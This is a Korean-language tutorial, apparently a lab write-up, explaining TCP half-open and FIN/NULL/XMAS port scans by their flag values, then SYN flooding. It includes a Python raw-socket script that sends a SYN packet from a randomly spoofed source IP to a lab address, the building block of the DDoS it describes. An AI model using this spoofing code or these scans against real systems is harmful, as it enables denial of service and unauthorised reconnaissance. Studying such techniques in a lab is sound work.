
< 포트 스캐닝 >
포트스캔이란 운영중인 서버에서 열려있는 TCP/UDP포트를 검색하는 것을 의미한다
TCP Flag값을 변경시켜 각 패킷마다 반응이 어떻게 다르게 나타나는지 확인해보자
[ TCP Half Open스캔 ]

[ 그림1 ]
< SYN패킷을 보냈을 때 서버의 포트가 열려있는 경우 동작방식 >
1> 클라이언트에서 서버로 " SYN " 패킷을 보냈다 ( Flag = 2 )
2> 서버에서 클라이언트에게 " ACK+SYN " 패킷으로 응답이 왔다 ( Flag = 18 )
3> 클라이언트에서 서버로 " RST " 패킷을 보내서 연결을 끊었다 ( Flag = 4 )

[ 그림2 ]
< SYN패킷을 보냈을 때 서버의 포트가 닫혀있는 경우 동작방식 >
1> 클라이언트에서 서버로 " SYN " 패킷을 보냈다 ( Flag = 2 )
2> 서버에서 " ACK + RST " 패킷으로 응답이 돌아온다 ( Flag = 20 )
서버와 클라이언트사이에 TCP 세션이 형성되지 않으므로 로그에 기록이 남지 않는다
[ FIN스캔 ]

[ 그림3 ]
< 서버의 포트가 열려있는 경우 동작방식>
1> 클라이언트에서 서버로 " FIN " 패킷을 전송하였다 ( Flag = 1 )
2> 아무런 응답도 오지 않는다
< 서버의 포트가 닫혀있는 경우 동작방식>
1> 클라이언트에서 서버로 " FIN " 패킷을 전송하였다 ( Flag = 1 )
2> 서버에서 클라이언트로 " RST "패킷으로 응답이 돌아간다 ( Flag = 4 )
( ※ 그림3에서는 실습시 중복실행으로 인한 오류같습니다 )
* FIN패킷 뿐아니라 NULL , XMAS 같은 Stealth Scan 의 동작방식은 위와 동일합니다
< SYN Flooding >

[ 그림4 ]
SYN패킷을 전송하면 서버는 SYN+ACK 패킷으로 응답하며 ACK패킷이 들어오길 대기한다
그림1에서 보면 서버에서 계속 SYN+ACK패킷을 내보내는 것이 확인되어진다
이를 이용한 DOS공격이 SYN Flooding공격법이다 ( 아이피주소를 바꾸어서 SYN패킷을 전송한다 )
( http://itsaessak.tistory.com/151 , http://itsaessak.tistory.com/158 프로그래밍방법 참조 )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 | import random import socket from header.udp import * from header.eth import * from header.ip import * from header.tcp import * def make_chksum( header ): size = len( header ) if size % 2: header = header + b'\x00' size = len( header ) size = size // 2 header = struct.unpack('!' + str(size) + 'H', header ) chksum = sum( header ) carry = chksum & 0xFF0000 carry = carry >> 16 while carry != 0: chksum = chksum & 0xFFFF chksum = chksum + carry carry = chksum & 0xFF0000 carry = carry >> 16 chksum = chksum ^ 0xFFFF return chksum # 랜덤한 시작ip주소 생성 a = random.randrange( 1,255) b = random.randrange( 1,255) c = random.randrange( 1,255) d = random.randrange( 1,255) src = str(a) + '.' + str(b) + '.' + str(c) + '.' + str(d) eth = Eth() ip = Ip() tcp = Tcp() tcp.src = 53917 tcp.dst = 39269 tcp.sequence_number = 1 tcp.acknowledge_number = 0 tcp.hlen = 0 tcp.flag = 2 tcp.window_size = 14 tcp.chksum = 0 tcp.urgent_point = 15 tcp.data ='' tcp.hlen = len(tcp.header) ip.ver = 4 ip.length = 20 ip.service = 0 ip.total = 20 + len( tcp.header ) ip.id = 0x1234 ip.flag = 0 ip.offset = 0 ip.ttl = 64 ip.type = 6 ip.chksum = 0 ip.src = src # 랜덤IP ip.dst ='192.168.6.200' ip.chksum = make_chksum( ip.header ) pseudo = ip._src + ip._dst + b'\x00' + ip._type + b'\x00\x14' + tcp.header tcp.chksum = make_chksum(pseudo) eth.dst = '00:50:56:31:a8:43' eth.src = '00:0C:29:F0:62:73' eth.type = 0x0800 sock = socket.socket(socket.AF_PACKET , socket.SOCK_RAW) sock.bind(('eth0',socket.SOCK_RAW)) sock.send( eth.header + ip.header + tcp.header ) | cs |
[ 실행결과 ]

[ 그림5 ]
실행결과 변경된 아이피주소로 서버에 SYN패킷이 전송되어 지는것이 확인된다
아이피를 수많은 컴퓨터에서 랜덤으로 바꿔가며 무수히 많은 SYN패킷을 서버로 보내면 서버에서는 SYN+ACK패킷을 내보내며 ACK패킷을 기다린다
=> 서버에서 과부화가 걸려 서비스에 지장이 생긴다 ( DDoS 공격 )